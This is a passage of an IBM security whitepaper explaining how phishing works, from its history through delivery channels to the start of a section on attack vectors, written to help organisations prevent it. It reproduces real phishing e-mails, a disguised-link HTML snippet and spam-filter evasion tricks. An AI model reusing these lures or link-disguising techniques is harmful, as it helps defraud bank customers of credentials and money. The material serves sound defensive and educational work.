The Phishing Guide

Understanding & Preventing Phishing Attacks

By: Gunter Ollmann, Director of Security Strategy

IBM Internet Security Systems
Table of Contents

The Phishing Guide 1

Section 1: A Case for Prevention 2
1.1. A 21st Century Scam 2
1.2. Phishing History 3
Section 2: The Phishing Threat 5
2.1. Social Engineering Factors 5
2.1.1. The Purpose of Phishing 6
2.1.2. Faking Trust Credentials 8
2.2. Phishing Message Delivery 10
2.2.1. E-mail and Spam 10
2.2.2. Web-based Delivery 17
2.2.3. IRC and Instant Messaging 19
2.2.4. Trojaned Hosts 19
2.2.5. VoIP Phishing 20
2.2.6. Spear Phishing 21
2.2.7. Whaling 22
2.3. Phishing Attack Vectors 23
2.3.1. Man-in-the-middle Attacks 23
2.3.2. URL Obfuscation Attacks 25
2.3.3. Cross-site Scripting Attacks 30
2.3.4. Preset Session Attack 31
2.3.5. Hidden Attacks 33
2.3.6. Observing Customer Data 36
2.3.7. Client-side Vulnerabilities 38
Section 3: Defense Mechanisms 40
3.1. Countering the Threat 40
3.2. Client-side 41
3.2.1. Desktop Protection Agents 41
3.2.2. E-mail Sophistication 43
3.2.3. Browser Capabilities 44
3.2.4. Digitally Signed E-mail 46
3.2.5. Customer Vigilance 48
3.3. Server-side 51
3.3.1. Customer Awareness 51
3.3.2. Validating Official Communications 53
3.3.3. Custom Web Application Security 55
3.3.4. Strong Token-based Authentication 59
3.3.5. Host and Linking Conventions 60
3.4. Enterprise 62
3.4.1. Mail Server Authentication 62
3.4.2. Digitally Signed E-mail 64
3.4.3. Domain Monitoring 65
3.4.4. Gateway Services 66
3.4.5. Managed Services 67
Section 4: Summations 68
4.1. Conclusions 68
4.2. Resources 69
The Phishing Guide
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Abstract

Since 1996, phishers have made use of an increasing array of delivery

systems in order to fool their victims in to handing over confidential and
personal information. Even after more than 10 years of phishing attacks
and much publicity, phishing scams are still hugely profitable to the
professionals who run them.

While phishers develop evermore sophisticated attack vectors, businesses

continue to flounder to protect their customers’ personal data. Customers
have become wary of “official” e-mail and question the integrity of the
websites they now connect to as their confidence and trust wanes.

With various governments and industry groups battling their way to prevent
spam, organizations can in the meantime take a proactive approach in
combating the phishing threat. By understanding the tools and techniques
used by these professional criminals, and analyzing flaws in their own
perimeter security or applications, organizations can prevent many of
the most popular and successful phishing attack vectors.

This updated paper covers the technologies and security flaws phishers
exploit to conduct their attacks, and provides detailed vendor-neutral
advice on what organizations can do to prevent future attacks. Armed
with this information, security professionals and customers can work to
protect themselves against the next phishing scam to reach their inboxes.

Notes on Updates to this Guide

While phishing has been in existence for over 10 years, the vectors used
by these professional criminals have continued to improve and become
more successful. Since the original “Phishing Guide” was published mid-
2004, there have been many advances in both attacks and defenses.
This updated Guide covers the latest techniques and trends in phishing
and anti-phishing, and includes updated information on the following:

• The Purpose of Phishing – changes over recent years in the

motivations of the phishers has meant that payloads have become
increasingly more sophisticated with broader reaching consequences.
• Faking Trust Credentials – the abuse of graphical validation
processes typically embedded within websites to supplement
classical “padlock” web browser visuals.
• Gaining Trust via E-mail – e-mail continues to be the most popular
initial vector for phishers. The content used by phishers within their
e-mails to fool their victims is examined in greater detail.
The Phishing Guide
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Section 1: A Case for Prevention

1.1. A 21st Century Scam

Throughout the centuries, identity theft has always been high on a

criminal’s agenda. By gaining access to someone else’s personal data
and impersonating them, a criminal may pursue a crime in near
anonymity. In today’s 21st century world, electronic identity theft has
never been easier.

The name on the (electronic) street is phishing; the process of tricking

or socially engineering an organizations customers into imparting their
confidential information for nefarious use. Riding on the back of mass-
mailings such as spam, or using bots to automatically target victims,
any online business may find phishers masquerading as them and
targeting their customer base. Organizational size doesn’t matter; the
quality of the personal information reaped from the attack has a value
all in itself to the criminals.

Phishing scams have been escalating in number and sophistication with

every month that goes by. A phishing attack today now targets audience
sizes that range from mass-mailings to millions of e-mail addresses around
the world, to highly targeted groups of customers that have been enumerated
through security faults in small clicks-and-mortar retail websites. Using
a multitude of attack vectors ranging from man-in-the-middle attacks
and key loggers, to complete re-creation of a corporate website, phishers
can easily fool customers into submitting personal, financial and password
data. While spam was (and continues to be) annoying, distracting and
burdensome to all its recipients, phishing has already shown the potential
to inflict serious losses of data and direct losses due to fraudulent
currency transfers.

With various experts extolling proprietary additions or collaborative

improvements to core message delivery protocols such as SMTP,
organizations may feel that they must wait for third-party fixes to become
available before finding a solution to phishing. While the security failures
within SMTP are indeed a popular exploit vector for phishers, there is
an increasing array of communication channels available for malicious
message delivery. As with most criminal enterprises, if there is sufficient
money to be made through phishing, other message delivery avenues
will be sought – even if the holes in SMTP are eventually closed (although
this is unlikely to happen within the next 3-5 years).
The Phishing Guide
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While many high profile financial organizations and large Internet

businesses have taken some steps towards increasing their customers’
awareness, most organizations have done very little to actively combat
phishers. By taking a hands-on approach to their security, organizations
will find that there are many tools and techniques available them to
combat phishing.

With the high fear-factor associated with possible phishing scams,

organizations that take a proactive stance in protecting their customers’
personal information are likely to benefit from higher levels of trust and
confidence in their services. In an era of shifting customer allegiances,
protection against phishing scams may just become a key deciding
factor in gaining their loyalty.

1.2. Phishing History

The word “phishing” originally comes from the analogy that early Internet
criminals used e-mail lures to “phish” for passwords and financial data
from a sea of Internet users. The use of “ph” in the terminology is partly
lost in the annals of time, but most likely linked to popular hacker naming
conventions such as “phreaks” which traces back to early hackers who
were involved in “phreaking” – the hacking of telephone systems.

The term was coined in the 1996 timeframe by hackers who were stealing
America Online (AOL) accounts by scamming passwords from unsuspecting
AOL users. The popularized first mention on the Internet of phishing
was made in the alt.2600 hacker newsgroup in January 1996; however,
the term may have been used even earlier in the popular hacker
newsletter “2600”.

It used to be that you could make a fake account on AOL so long

as you had a credit card generator. However, AOL became smart.
Now they verify every card with a bank after it is typed in.
Does anyone know of a way to get an account other than phishing?

—mk590, "AOL for free?" alt.2600, January 28, 1996

By 1996, hacked accounts were called "phish", and by 1997 phish were
actively being traded between hackers as a form of electronic currency.
There are instances whereby phishers would routinely trade 10 working
AOL phish for a piece of hacking software or warez (stolen copyrighted
applications and games). The earliest media citation referring to
phishing wasn’t made until March 1997:
The Phishing Guide
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The scam is called 'phishing' — as in fishing for your password,

but spelled differently — said Tatiana Gau, vice president of
integrity assurance for the online service.

—Ed Stansel, "Don't get caught by online 'phishers' angling for

account information," Florida Times-Union, March 16, 1997

Over time, the definition of what constitutes a phishing attack has blurred
and expanded. The term phishing covers not only obtaining user account
details, but also includes access to personal and financial data. What
originally entailed tricking users into replying to e-mails for passwords
and credit card details, has now expanded into fake websites, installation
of Trojan horse key-loggers and screen captures, and man-in-the-middle
data proxies – all delivered through any electronic communication channel.

Due to the phishers high success rate, an extension to the classic phishing
scam now includes the use of fake jobsites or job offers. Applicants
are enticed with the notion of making a lot of money for very little work –
just creating a new bank account, taking the funds that have been
transferred into it (less their personal commission) and sending it on as
an international money order - classic money laundering techniques.

Figure 1: The evolution of “phishing”.

The Phishing Guide
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Section 2: The Phishing Threat

2.1. Social Engineering Factors

Phishing attacks rely upon a mix of technical deceit and social engineering
practices. In the majority of cases, the phisher must persuade the victim
to intentionally perform a series of actions that will provide access to
confidential information.

Communication channels such as e-mail, web-pages, IRC and instant

messaging services are popular. In all cases, the phisher must impersonate
a trusted source (such as the helpdesk of their bank, automated support
response from their favorite online retailer, etc.) for the victim to believe.

In 2007, the most successful phishing attacks continue to be initiated

via e-mail with the phisher impersonating the sending authority (such as
spoofing the source e-mail address and embedding appropriate corporate
logos within the e-mail). For example, the victim receives an e-mail
supposedly from [email protected] (address is spoofed) with the
subject line 'security update’, requesting them to follow the URL
www.mybank-validate.info (a domain name that belongs to the attacker
– not the bank) and provide their banking PIN number.

However, the phisher has many other nefarious methods of social

engineering victims into surrendering confidential information. In the
real example below, the e-mail recipient is likely to have believed that
their banking information has been used by someone else to purchase
unauthorized services. The victim would then attempt to contact the e-
mail sender to inform them of the mistake and cancel the transaction.
Depending upon the specifics of the scam, the phisher would ask (or
provide a “secure” online web page) for the recipient to type-in their
confidential details (such as address, credit card number and security
code, etc.), to reverse the transaction – thereby verifying the live e-mail
address (and potentially selling this information on to other spammers)
and also capturing enough information to complete a real transaction.
The Phishing Guide
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Subject: Web Hosting - Receipt of Payment

QdRvxrOeahwL9xaxdamLRAIe3NM1rL

Dear friend,

Thank you for your purchase!

This message is to inform you that your order has been received
and will be processed shortly.

Your account is being processed for $79.85, for a 3 month term.

You will receive an account setup confirmation within the next
24 hours with instructions on how to access your account.
If you have any questions regarding this invoice, please feel free
to contact us at tekriter.com.
We appreciate your business and look forward to a great
relationship!

Thank You,

The Tekriter.com Team

ORDER SUMMARY
-------------
Web Hosting............. $29.85
Setup................... $30.00

Domain Registration..... $20.00

Sales Date.............. 08/04/2004
Domain.................. nashshanklin.com

Total Price............. $79.85

Card Type............... Visa

2.1.1. The Purpose of Phishing

The scope of what constitutes a phishing attack has changed over the
last ten years. The original purpose of phishing was to acquire the login
credentials of other customers using the same subscription service.

For a long time, phishers focused upon theft of login credentials using
e-mail as both the delivery and acquisition method – i.e. the phisher
sends out an e-mail requesting the recipient to e-mail them back the
necessary information. As the recipients of the e-mails became wary of
these faked messages, the phishers switched to other delivery mechanisms
with increasingly more complex return methods.
The Phishing Guide
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Today phishers continue to make use of e-mail, but also utilize message
boards, web banner advertising, instant chat (IRC and instant messenger)
and more recently Voice over IP (VoIP) to deliver their persuasive message
and convince victims to either respond with their credentials or drive
them to a more sophisticated automated credential stealing mechanism.

The most popular mechanism for acquiring the victim’s information is

now through the use of websites designed to represent the real
organization from which the fake message came from. However, in the
last few years phishers have also resorted to using exploit material and
attachments to deliver specialized payloads such as key loggers,
spyware, rootkits and bots etc.

Figure 2: The methods used in phishing.

The Phishing Guide
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The improvement in delivery techniques and access to more sophisticated

payloads means that the motivations and financial rewards for phishing
have changed and will continue to evolve in the future. The most
common purpose of phishing scams include:

• Theft of login credentials – typically credentials for accessing online

services such as eBay, Hotmail, etc. More recently, the increase
in online share trading services has meant that a customer's trading
credentials provide an easy route for international money transfers.
• Theft of banking credentials – typically the online login credentials
of popular high-street banking organizations and subsequent
access to funds ready for transfer.
• Observation of Credit Card details – access to a steady stream of
credit card details (i.e. card number, expiry and issue dates,
cardholder’s name and credit card validation (CCV) number) has
immediate value to most criminals.
• Capture of address and other personal information – any personal
information, particularly address information, is a highly saleable
and in constant demand by direct marketing companies.
• Theft of trade secrets and confidential documents – through the
use of spear phishing techniques, phishers are targeting specific
organizations for the purpose of industrial espionage and acquisition
of proprietary information.
• Distribution of botnet and DDoS agents – criminals use phishing
scams to install special bot and DDoS agents on unsuspecting
computers and add them to their distributed networks. These
agents can be rented to other criminals.
• Attack Propagation – Through a mixture of spear phishing and bot
agent installations, phishers can use a single compromised host
as an internal “jump point” within the organization for future attack.

2.1.2. Faking Trust Credentials

In an effort to combat phishing and other scams that utilize fraudulent

websites as the primary method of obtaining a customer’s credentials,
many commercial organizations have developed third-party validation
services. These services are typically represented by a graphic within the
webpage which links back to a trusted authority for validation and is most
often supplemental to any SSL certificates present on the legitimate site.
The Phishing Guide
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Because these supplemental validation processes typically make use of

simple graphics and popup messages, they are trivial to fake. The incorporation
of faked graphical authentication tokens is becoming increasingly common
as customers unwittingly trust this flawed validation process. In essence,
use of graphical validation tokens such as these is as trustworthy as the
paper they are printed upon.

For example, phishers are already making use of common graphics

such as the following within their fake sites:

Figure 3: Typical graphical “trust” and “secure” validation tokens embedded within a website.

These graphical tokens are usually supported through links to the third-
party validation authority which presents some version of “this site is
trusted” message to customers who click on them. The messages are
similarly easy to fake and the phisher can instill a higher level of customer
trust in their faked website.

For example, the following screenshot is of a legitimate response to a

customer clicking upon a “VeriSign Secured” graphic. A phisher could
easily fake a similar response within a popup window that included this
content as an image – complete with a graphical HTTPS URL at the top
and a padlock in the bottom-right corner.

Figure 4: A “VeriSign Secured” validation response.

The Phishing Guide
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Other systems that make use of client-side script components to present

a validation of the websites credentials are similarly easy to fake during
a phishing attack. For instance, Comodo’s IdAuthority™ makes use of a
graphic in the bottom-right of the page which causes a JavaScript
routine to overlay validation information when the customer moves their
mouse over it.

Figure 5: Comodo’s IdAuthority™ JavaScript-based website validation response.

2.2. Phishing Message Delivery

2.2.1. E-mail and Spam

Phishing attacks initiated by e-mail are the most common. Using

techniques and tools used by spammers, phishers can deliver specially
crafted e-mails to millions of legitimate “live” e-mail addresses within a
few hours (or minutes using distributed Trojan networks). In many cases,
the lists of addresses used to deliver the phishing e-mails are purchased
from the same sources as conventional spam.
The Phishing Guide
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Utilizing well-known flaws in the common mail server communication

protocol (SMTP), phishers are able to create e-mails with fake “Mail
From:” headers and impersonate any organization they choose. In some
cases, they may also set the “RCPT To:” field to an e-mail address of
their choice (one where they can pick up e-mail); whereby any customer
replies to the phishing e-mail will be sent to them. The growing press
coverage over phishing attacks has meant that most customers are very
wary of sending confidential information (such as passwords and PIN
information) by e-mail – however, it still successful in many cases.

Techniques used within Phishing E-mails

In order not to fall victim to a phishing e-mail, it is important to

understand the techniques currently employed by phishers to fool their
potential victims:

• Official looking and sounding e-mails -

By making use of correct syntax and structure, the phisher has
learned to instill trust in their message. In the early years of
phishing the e-mails were written poorly and were often easily
identified as fake. Today these e-mails are often impossible to tell
from legitimate communications from the target organization. In
many cases, the e-mail may in fact be a copy of a legitimate
corporate e-mail with minor URL changes.

• HTML based e-mail used to obfuscate destination URL information -

Since HTML is an interpreted language, it is possible to obfuscate
the destination URL through a number of techniques. For example:
• Use a text color the same as the background to hide
suspect parts of the URL.
• In HTML the <a HREF=…> tag specifies the destination
URL, however it can be followed with any textual string,
and is usually terminated with a </a>. A common use is to
use a legitimate URL as the textual string, while the actual
hyperlink points to the phishing URL.
• The inclusion of graphics to look like a text message or URL.
• The HTML-based message can be configured to look exactly
like a plain text formatted e-mail.

• Attachments to e-mails -
Some phishing e-mails may include attachments that contain
executable content which is referenced within the text of the
e-mail. Typically there will be instructions to open the “trusted”
attachment in order to verify some transactional detail. These
attachments may install Trojan keyloggers or other dangerous spyware.
The Phishing Guide
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• Anti spam-detection inclusions -

Since many phishing e-mails are sent in bulk to victims based
upon e-mail addresses bought or harvested from multiple sources,
they are typically identified as spam by anti-spam filtering
technologies. To prevent this, many newer phishing e-mails
include additional text, SMTP headers and references designed to
bypass these filters. Examples of anti spam-detection inclusions
with the phishing e-mails include:
• The inclusion of nonsense sentences at the bottom of the e-
mail (maybe hidden using colored fonts) designed to affect
heuristic anti-spam engines, such as: “enull champlain the
photophilic ceteras twineth as aprovar the wilmont as
ancing was miswarts in clusia, resectable of hybris to
cyanochroic”
• The use of deliberate spelling mistakes and spacing characters
inside key words, such as: Proven and c-ertified by e-xperts
and d-octors
• Faked prior anti-spam inspection headers - X-PMFmatch: Unmatched

• Fake postings to popular message boards and mailing lists -

The ability to post anonymous e-mails to popular message boards
enables the phisher to reach a wide audience without having to
individually e-mail each recipient. Phishing e-mails using this
method are typically targeted at a specific audience, but will use
common obfuscation methods to hide the intent of the e-mail.

• Use of fake “Mail From:” addresses and open mail relays -

A common practice is to use fake “Mail From:” addresses in the
phishing e-mail to fool the recipient into thinking that the e-mail
has come from a legitimate source. The STMP protocol allows
senders to specify any address they wish.

Open mail relays are also commonly employed to obfuscate the

source of the phishing e-mail – especially if the open relay
belongs to the organization the e-mail is pretending to have come from.

• Use of font differences -

Fonts play an important part in the phisher’s armory when crafting
their e-mail. One of the most common vectors is to use a font that
causes lowercase and uppercase characters to be used and
appear as a different character – often used to bypass anti-spam
keyword filters. For instance:
• The substitution of uppercase “i” for lowercase “L”, and the
number zero for uppercase “O”.
• The use of different language fonts for characters which look
like the language of the target audience such as the use of the
Cyrillic “o” for the Latin “o”
The Phishing Guide
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• Use of local language -

Over recent years, there has been a greater emphasis on using
the local language of the target audience. Phishers who target the
customers of a particular organization now realize that English
(even U.S. English) may not be sufficient, and now construct their
e-mails using the appropriate language – for example, using
French to target banking customers in Southern Switzerland.

• Use of credit card digits –

An increasingly popular phishing confidence scam is to use the
first four digits of a credit card number within the e-mail. Most
people are familiar with seeing part of their credit card number
displayed for confirmation – typically the last four digits with three
remaining numbers obscured or starred out. Many potential
victims do not realize that the first four digits are not unique to their
card, but are linked to a particular banking of financial entity. For
example, if the phisher is targeting the customers of a bank such
as Barclays Bank PLC, they may use “4929 **** **** ****” as
confirming prior knowledge of the victim’s credit card.

A Real-life Phishing Example

The following is an analysis of a phishing e-mail sent to many thousands

of Barclays banking customers in February 2006. While the language
sophistication is fairly high, there are a number of grammar nuances that
would lead a native English reader to query the authenticity of the e-mail
(probably due to the writer not being a native English speaker). Unfortunately,
many recipients were still fooled by it.

For recipients using e-mail clients that render HTML e-mails correctly
(such as Microsoft Outlook and Outlook Express), the e-mail looked like
the following:

Figure 6: Fake e-mail from Barclays Bank sent by the phisher.

The Phishing Guide
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Things to note with this particular attack:

• The e-mail was sent in HTML format (some attacks use HTML e-
mails that are formatted to look like they are plain text – making is
much harder for the recipient to identify the hidden “qualities” of
the e-mail’s dynamic content).
• Several hints that the e-mail is not quite right due to the use of language:
• The embedded date of the e-mail “Février 28, 2006” – French
for February.
• Spelling mistakes such as “reciept” and “commitement”.
• The e-mail is addresses “Dear Customer”, yet the next
sentence refers to “clients”. It is not uncommon for phishers
to copy content from multiple legitimate e-mails and paste
them into one e-mail.
• Bad grammar, such as “…will keep your investments in Safety”,
are strongly suggestive of a non-native English author.
• Within the HTML-based e-mail, the URL link:
https://update.barclays.co.uk/olb/p/LoginMember.do in fact points
to an escape-encoded version of the following URL: http://www.casa.
lu/basic/l/ibank.barclays.co.uk/olb/q/LoginMember.do/index.htm
This was achieved using standard HTML coding such as:

<a href="http://www.casa.lu/basic/l/ibank.barclays.co.uk/olb/q/LoginMember.do/
index.htm">https://update.barclays.co.uk/olb/p/LoginMember.do</font></a></font></b>

• The recipient is socially engineered to respond to the directives in

the e-mail as soon as possible with the “We would have no choice
but to suspend inactive accounts under 48 hours of your reciept of
this e-mail notifier.” Since many phishing websites are identified
and shutdown within a day or two, the phishers are keen to ensure
that recipients respond before their website is removed.
The Phishing Guide
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Figure 7: The website used by the phisher to steal authentication credentials from the victims

Once the e-mail recipient clicks on the link contained within the phishing
e-mail, they are presented with a copy of the Barclays website. Key
points to note about this attack:

• The phisher provided a mirror copy of the Barclays website and

hosted it on their server www.casa.lu. Although customers are
expected to authenticate themselves over a secure HTTPS
channel, many victims obviously did not check the URL at the top
of the browser screen, nor look for the standard padlock
(representing a secure link).
The Phishing Guide
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• There was one slight change to the authentication process. In

“Step 2” the fake Barclays website asks the victim to supply their
“memorable word”:

However, this is not correct. Barclays Bank had implemented an anti-

keylogger function that required customers to only supply two randomly
selected letters from their memorable word, not the whole word, via
mouse-operated drop-down boxes:

The phishers most likely wished to capture the whole word in a single go
and it is likely that only the most vigilant customers would have identified
this unexpected change as a security breach.

• Having supplied all the necessary authentication details, the

customer is thanked for “updating” account details, and is
automatically redirected to the legitimate Barclays website.
Not all phishing scams are so obvious. Consider the following
e- mail sent to many thousands of Westpac banking customers in
May 2004. While the language sophistication is poor compared to
the previous Barclays Bank e-mail, many recipients were still fooled.

Subject: Westpac official notice

Westpac
AustraIia's First Bank

Dear cIient of the Westpac Bank,

The recent cases of fraudulent use of clients accounts forced the

Technical services of the bank to update the software. We regret to
acknowledge, that some data on users accounts could be lost. The
administration kindly asks you to follow the reference given below
and to sign in to your online banking account:

https://oIb.westpac.com.au/ib/defauIt.asp

We are gratefuI for your cooperation.

Please do not answer this message and follow the above mentioned
instructions.

Copyright © 2004 - Westpac Banking Corporation ABN 33 007 457 141.

The Phishing Guide
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Things to note with this particular attack:

• Lower-case L’s have been replaced with upper-case i’s. This is

used to help bypass many standard anti-spam filters, and in most
fonts (except for the standard Courier font used in this example)
fools the recipient into reading them as L’s.
• Hidden within the HTML e-mail were many random words. These
words were set to white (on the white background of the e-mail)
and so were not directly visible to the recipient. The purpose of
these words was to help bypass standard anti-spam filters.
• Just like the Barclays Bank HTML-based e-mail, the URL link
https://oIb.westpac.com.au/ib/defauIt.asp in fact points to a
escape-encoded version of the following URL:
http://olb.westpac.com.au.userdll.com:4903/ib/index.htm
• The phishers used a sub-domain of USERDLL.COM in order to
lend the illusion of it really being the Westpac banking site. Many
recipients were likely to be fooled by the olb.westpac.com.au.userdll.com.
• The non-standard HTTP port of 4903 can be attributed to the fact
that the phishers’ fake site was hosted on a third-party PC that
had been previously compromised.
• Recipients who clicked on the link were then forwarded to the real
Westpac application. However, a JavaScript popup window
containing a fake login page was presented to them. Expert
analysis of this JavaScript code identified that some code
segments had been used previously in another phishing attack –
one targeting HSBC.
• This fake login window was designed to capture and store the
recipient’s authentication credentials. An interesting aspect to
this particular phishing attack was that the JavaScript also
submitted the authentication information to the real Westpac
application and forwarded them on to the site. Therefore, victims
were unaware that their initial connections had been intercepted
and their credentials captured.

2.2.2. Web-based Delivery

The most popular method of conducting phishing attacks is through

malicious website content. This content may be included within a
website operated by the phisher, or a third-party site hosting some
embedded content.
The Phishing Guide
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Web-based delivery techniques include:

• The inclusion of HTML disguised links (such as the one presented

in the Westpac e-mail example) within popular websites, and
message boards.
• The use of third-party supplied, or fake, banner advertising
graphics to lure customers to the phisher’s website.
• The use of web-bugs (hidden items within the page – such as a
zero-sized graphic) to track a potential customer in preparation
for a phishing attack.
• The use of pop-up or frameless windows to disguise the true
source of the phisher’s message.
• Embedding malicious content within the viewable web page that
exploits a known vulnerability within the customer’s web browser
software and installs software of the phisher’s choice (such as
key-loggers, screen-grabbers, back-doors and other Trojan horse
programs).
• Abuse of trust relationships within the customer’s web browser
configuration to make use of site-authorized scriptable
components or data storage areas.

• Disguising the true source of the fake website by exploiting cross-

site scripting flaws in a trusted website.

Fake Banner Advertising

Banner advertising is a very simple method phishers may use to redirect

an organization’s customer to a fake website and capture confidential
information. Using copied banner advertising, and placing it on popular
websites, all that is necessary are some simple URL obfuscation techniques
to disguise the final destination.

Figure 8: Sample banner advertising

The Phishing Guide
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With so many providers of banner advertising services to choose from,

it is a simple proposition for phishers to create their own online accounts
(providing a graphic such as the one above and a URL of their choice)
and have the service provider automatically distribute it to many of their
managed websites. Using stolen credit cards or other banking information,
phishers can easily conceal their identities from law enforcement agencies.

2.2.3. IRC and Instant Messaging

New on the phisher’s radar, IRC and Instant Messaging (IM) forums are
likely to become a popular phishing ground. As these communication
channels become more popular with home users, and more functionality
is included within the software, specialist phishing attacks will increase.

As many IRC and IM clients allow for embedded dynamic content (such
as graphics, URLs, multimedia includes, etc.) to be sent by channel
participants, it is a trivial task to employ many of the phishing techniques
used in standard web-based attacks.

The common usage of bots (automated programs that listen and participate
in group discussions) in many of the popular channels, means that it is
very easy for a phisher to anonymously send semi-relevant links and
fake information to would-be victims.

2.2.4. Trojaned Hosts

While the delivery medium for the phishing attack may be varied, the
delivery source is increasingly becoming home PC’s that have been
previously compromised. As part of this compromise, a Trojan horse
program has been installed which allows phishers (along with spammers,
warez pirates, DDoS bots, etc.) to use the PC as a message propagator.
Consequently, tracking back a phishing attack to an individual initiating
criminal is extremely difficult.

It is important to note that the installation of Trojan horse software is on

the increase, despite the efforts of large anti-virus companies. Many
malicious or criminal groups have developed highly successful techniques
for tricking home users into installing the software, and now operate
large networks of Trojan deployments (networks consisting of thousands
of hosts are not uncommon) capable of being used as phishing e-mail
propagators or even hosting fraudulent websites.
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That is not to say that phishers are not capable of using Trojan horse
software against a customer specifically to observe their confidential
information. In fact, to harvest the confidential information of several
thousand customers simultaneously, phishers must be selective about
the information they wish to record or be faced with information overload.

Information Specific Trojans

Early in 2004, a phisher created a custom key-logger Trojan. Embedded
within a standard HTML message (both in e-mail format and a few
compromised popular web sites) was code that attempted to launch a
Java applet called “javautil.zip”. Although appearing to be a binary zip
file, it was in fact an executable file that would be automatically executed
in client browsers that had lax security permissions.

The Trojan key-logger was designed specifically to capture all key presses
within windows with the titles of various names including: commbank,
Commonwealth, NetBank, Citibank, Bank of America, e-gold, e-bullion,
e-Bullion, evocash, EVOCash, EVOcash, intgold, INTGold, paypal,
PayPal, bankwest, Bank West, BankWest, National Internet Banking,
cibc, CIBC, scotiabank and ScotiaBank.

2.2.5. VoIP Phishing

Vishing is the practice of leveraging IP-based voice messaging technologies

(primarily Voice over Internet Protocol, or VoIP) to socially engineer the
intended victim into providing personal, financial or other confidential
information for the purpose of financial reward. The term “vishing” is
derived from a combination of “voice” and “phishing.”

The use of landline telephony systems to persuade someone to perform

unintended actions has existed since the birth of the telephone. Who
didn’t make prank phone calls as a child? However, landline telephony
services have traditionally terminated at a physical location known to
the telephone company and could therefore be tracked back to a specific
bill payer. The recent massive increase in IP telephony has meant that
many telephone services can now start or terminate at a computer
anywhere in the world. In addition, the cost of making a telephone call
has dropped to a negligible amount.
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This combination of factors has made it financially practical for phishers

to leverage VoIP in their attacks. Vishing is expected to have a much
higher success rate than other phishing vectors because:

• Telephone systems have a much longer record of trust than

newer, Internet-based messaging
• A greater percentage of the population can be reached via a
phone call than through e-mail
• There is widespread adoption and general acceptance of
automated phone validation systems
• The telephone makes certain population groups, such as the
elderly, more reachable
• Timing of message delivery can be leveraged to increase odds of
success
• The telephone allows greater personalization of the social
engineering message
• Increased use of call centers means that the population is more
accepting of strangers who may have accents asking for
confidential information.

2.2.6. Spear Phishing

Spear phishing describes a category of phishing attacks whose target

is a particular company, organization, group or government agency.
Contrasted with phishing attacks that make use of large address lists
shared with spammers, spear phishers focus on a much smaller subset
– often filtering public spam lists with their targets domain, scraping
their targets public services for addresses (such as message boards,
marketing collateral, etc.), or enumeration through more active means
(such as dumpster diving, spam pinging, etc.). The most prized addresses
being distribution lists such as [email protected].

Once armed with a list of addresses specific to their quarry, the phishers
send email that appear as though it may have come from the employer
or someone who would normally send an email message to everyone
within the organizational group (such as head of marketing and sales,
the IT support team, the owner of the message board, etc.). In reality,
the message sender information will have been faked (i.e. spoofed).
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The contents of the message will vary with each attack, but will use any
information the phisher can to personalize the scam to as specific a
group as possible. The messages commonly focus upon requesting
login credentials (such as user name and password) or entice their
victims to open infected attachments.

Unlike normal phishing scams whose objective is to steal an individual’s

online banking credentials, the spear phisher is most often seeking to
gain access to the entire network of an organization. That said, it is not
unheard of for spear phishers to target the users of a specific piece of
software (such as members of a specific “clan” within World of Warcraft)
and steal their login credentials.

2.2.7. Whaling

The adoption of the term ‘Whaling’ within phishing is fairly new and may
have been derived from the use of ‘Whales’ within gambling to refer to
big-time gamblers and high rollers, but most likely come from the
colloquialism for “big fish”.

Regardless, Whaling describes the most focused type of phishing currently

encountered by businesses or government – targeted attacks against
groups of high-level executives within a single organization, or executive
positions common to multiple organizations (such as the CTO or CFO).

In a whaling attack, the phisher focuses upon a very small group of

senior personnel within an organization and tries to steal their credentials –
preferably through the installation of malware that provides back-door
functionality and keylogging.

By focusing on this small group, the phisher can invest more time in the
attack and finely tune his message to achieve the highest likelihood of
success. Note that these messages need not be limited to email. Some
scams have relied upon regular postage systems to deliver infected media –
for example, a CD supposedly containing evaluation software from a
known supplier to the CIO, but containing a hidden malware installer.
The Phishing Guide
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2.3. Phishing Attack Vectors

For a phishing attack to be successful, it must use a number of methods

to trick the customer into doing something with their server and/or
supplied page content. There are an ever increasing number of ways
to do this. The most common methods are explained in detail below,
and include:

• Man-in-the-middle Attacks
• URL Obfuscation Attacks
• Cross-site Scripting Attacks
• Preset Session Attacks
• Observing Customer Data
• Client-side Vulnerability Exploitation

2.3.1. Man-in-the-middle Attacks

One of the most successful vectors for gaining control of customer

information and resources is through man-in-the-middle attacks. In this
class of attack, attackers situate themselves between the customer and
the real web-based application, and proxy all communications between
the systems. From this vantage point, attackers can observe and record
all transactions.

This form of attack is successful for both HTTP and HTTPS communications.
The customer connects to the attacker’s server as if it was the real site,
while the attacker’s server makes a simultaneous connection to the real
site. The attacker's server then proxies all communications between
the customer and the real web-based application server – typically in
real-time.

In the case of secure HTTPS communications, an SSL connection is

established between the customer and the attacker’s proxy (hence the
attacker’s system can record all traffic in an unencrypted state), while
the attacker’s proxy creates its own SSL connection between itself and
the real server.

Figure 9: Man-in-the-middle attack structure

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For man-in-the-middle attacks to be successful, the attacker must be

able to direct the customer to the proxy server instead of the real server.
This may be carried out through a number of methods:

• Transparent Proxies
• DNS Cache Poisoning
• URL Obfuscation
• Browser Proxy Configuration

Transparent Proxies

Situated on the same network segment or located on route to the real

server (such as corporate gateway or intermediary ISP), a transparent
proxy service can intercept all data by forcing all outbound HTTP and
HTTPS traffic through itself. In this transparent operation, no configuration
changes are required at the customer end.

DNS Cache Poisoning

“DNS Cache Poisoning” may be used to disrupt normal traffic routing

by injecting false IP addresses for key domain names. For example,
the attacker poisons the DNS cache of a network firewall so that all
traffic destined for the MyBank IP address now resolves to the attacker’s
proxy server IP address.

URL Obfuscation

Using URL obfuscation techniques, the attacker tricks the customer into
connecting to their proxy server instead of the real server. For example,
the customer may follow a link to http://www.mybank.com.ch/ instead of
http://www.mybank.com/

Browser Proxy Configuration

By overriding the customer’s web-browser setup and setting proxy
configuration options, an attacker can force all web traffic through to
the nominated proxy server. This method is not transparent to the
customer, and the customer may easily review their web browser
settings to identify an offending proxy server.

In many cases, browser proxy configuration changes setting up the attack

will have been carried out in advance of receipt of the phishing message.
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Figure 10: Browser proxy configuration

2.3.2. URL Obfuscation Attacks

The secret to many phishing attacks is to get message recipients to

follow a hyperlink (URL) to the attacker’s server without realizing that they
have been duped. Unfortunately, phishers have access to an increasingly
large arsenal of methods for obfuscating the final destination of the customer’s
web request.

The most common methods of URL obfuscation include:

• Bad domain names

• Friendly login URLs
• Third-party shortened URLs
• Host name obfuscation
